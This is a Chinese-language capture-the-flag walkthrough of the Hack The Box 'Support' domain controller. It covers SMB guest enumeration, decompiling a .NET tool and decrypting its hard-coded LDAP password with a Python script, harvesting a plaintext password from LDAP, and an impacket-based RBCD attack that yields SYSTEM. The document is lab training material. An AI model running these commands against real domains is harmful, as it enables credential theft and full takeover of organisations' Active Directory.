HTB support
信息收集
靶机地址:10.129.65.231
端口扫描
nmap 10.129.65.231 -p-
开放了53、88、135、139、389、445、3268、3269、5985端口,域控特征

smb枚举
没有切入点,测试smb服务
尝试空会话
nxc smb 10.129.65.231 -u '' -p ''
允许空会话登录

原理:用空用户名 + 空密码去连接 SMB。在很多 AD 环境里,SMB 服务端会允许这种连接完成认证握手(返回 [+] ...\:),但后续能做的事非常有限——通常只能看到共享列表,且大部分共享是 READ 权限受限或完全看不到。
尝试 Guest 账户匿名登录
nxc smb 10.129.65.231 -u 'guest' -p ''
允许 Guest 账户匿名登录

原理:Guest 是 Windows 内置账户,默认空密码。很多环境里 Guest 被禁用或限制,但也有不少环境(尤其是故意留口的靶机)会允许 Guest 登录 SMB 并枚举部分信息。
Net程序反编译
分别枚举共享
nxc smb 10.129.65.231 -u '' -p '' --shares
nxc smb 10.129.65.231 -u 'guest' -p '' --shares
发现自定义共享 support-tools 对 Guest 有 READ 权限,疑似运维工具目录,优先排查。

其中,7-Zip、Notepad++、PuTTY、Sysinternals、Wireshark是通用工具,UserInfo.exe 名字和业务逻辑相关,通过file命令得知是.Net程序,拉到windows环境下用dnSpy反编译


.Net程序反编译工具 https://github.com/dnSpy/dnSpy

在LdapQuery类中收集到以下信息:
- 调用Protected.getPassword()方法获取用户密码
- 以域用户 support\ldap 身份连接 LDAP://support.htb

在关键类中发现用户密码加解密逻辑
- 从硬编码字符串 enc_password 里取出 Base64 编码的密文
- 用硬编码的 XOR key("armando")逐字节异或解密,再额外异或一个固定值 223(即 0xDF)
- 返回解密后的明文字符串
使用Python脚本解密
import base64
b64 = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(b64)
pwd = "".join(chr(data[i] ^ key[i % len(key)] ^ 223) for i in range(len(data)))
print(pwd)
尝试通过smb验证 ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
nxc smb 10.129.65.231 -u 'ldap' -p <ldap password>

ldap枚举到凭证泄露
使用ldap用户测试 LDAP 服务,成功返回一大坨信息,丢给AI审计
ldapsearch -H ldap://10.129.65.231 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(objectClass=*)'
其中,参数 -b 是 baseDN(Base Distinguished Name,基准可分辨名称) 的缩写。从 support.htb 这个域的根节点开始搜索,返回它下面的所有用户、组、计算机、OU
AD 的目录结构
DC=htb(根域)
└── DC=support(support.htb 域)
├── CN=Users
│ ├── CN=Administrator
│ ├── CN=ldap
│ ├── CN=support
│ └── ...
├── CN=Computers
│ └── CN=DC
├── CN=Builtin
│ └── CN=Administrators
└── OU=...
(objectClass=*): LDAP 搜索过滤器,可以过滤出所有对象,包括用户、组、计算机、OU 等
ldap返回结果丢给AI分析:用户 support 的属性 info 字段存储了明文密码:Ironside47pleasure40Watchful

smb成功验证凭证 support:Ironside47pleasure40Watchful
nxc smb 10.129.65.231 -u 'support' -p 'Ironside47pleasure40Watchful'

ldap协议获取support用户所有信息
ldapsearch -H ldap://10.129.65.231 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(sAMAccountName=support)' '*' '+'

support 用户属于 remote management users 组及Shared Support Accounts组,前者可以允许support用户通过winrm远程管理,后者属于自定义组,可能是运维人员共享账户组,后续可以尝试提权。
权限测绘(BloodHound)
重启了一次靶机,忽略ip变动
添加域名解析
echo "10.129.66.137 support.htb dc.support.htb" >> /etc/hosts
以 support 用户身份进行 BloodHound 枚举
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.129.66.137 -dc dc.support.htb -c All --zip

web面板导入枚举信息压缩包,关于bloodhound的使用自行查阅
SHARED SUPPORT ACCOUNTS 组对 DC.SUPPORT.HTB 拥有 GenericAll 权限,意味着对该机器拥有完全控制权。

RBCD域提权
- shared support accounts 组对目标计算机对象有写权限 (GenericAll on DC$)
- 域用户默认创建最多 10 个机器账户
在具备上述两个条件的前提下,利用 RBCD(Resource-Based Constrained Delegation,基于资源的约束委派)即可实现对域控的提权
创建机器用户,addcomputer完成后会自动加入域
# 1. 创建机器账户
impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.66.137 -computer-name 'ATTACK2$' -computer-pass 'Attack123!'
写入RBCD权限,msDS-AllowedToActOnBehalfOfOtherIdentity 是 RBCD 的核心属性,写入后 DC将信任ATTACK2 用户可以冒充任意用户向其申请服务票据
# 2. 写 RBCD(对 DC$ 有 GenericAll 权限)
impacket-rbcd 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.66.137 -delegate-from 'ATTACK2$' -delegate-to 'DC$' -action 'write'
ATTACK2$ 用户通过 Kerberos 合法协议,伪造出 Administrator 访问 CIFS/DC.support.htb 的 ST 服务票据
# 3. 拿 Administrator 的 CIFS 票据
impacket-getST 'support.htb/ATTACK2$:Attack123!' -dc-ip 10.129.66.137 -spn 'cifs/DC.support.htb' -impersonate 'Administrator'

impacket-getST 内部细节:
- S4U2Self:ATTACK2以自身身份向KDC申请一张“代表Administrator访问ATTACK2 自身”的票据(TGS),用于证明“我(ATTACK2$)有权代表 Administrator”
- S4U2Proxy:ATTACK2$ 持上述 TGS,向 KDC 申请“代表 Administrator 访问 cifs/DC.support.htb”的服务票据(ST)
由于 DC的RBCD属性已信任ATTACK2,KDC 签发出 ST
impacket-smbexec 以 Administrator 身份建立 SMB 会话
# 4. 用票据拿 SYSTEM
export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache
impacket-smbexec -dc-ip 10.129.66.137 -no-pass -k 'support.htb/Administrator@DC.support.htb'

在域控上,Administrator 账户等价于 NT AUTHORITY\SYSTEM,因此通过 Kerberos 认证(-k)使用 Administrator 的 CIFS 票据建立的 SMB 会话,最终获取到的是 SYSTEM 权限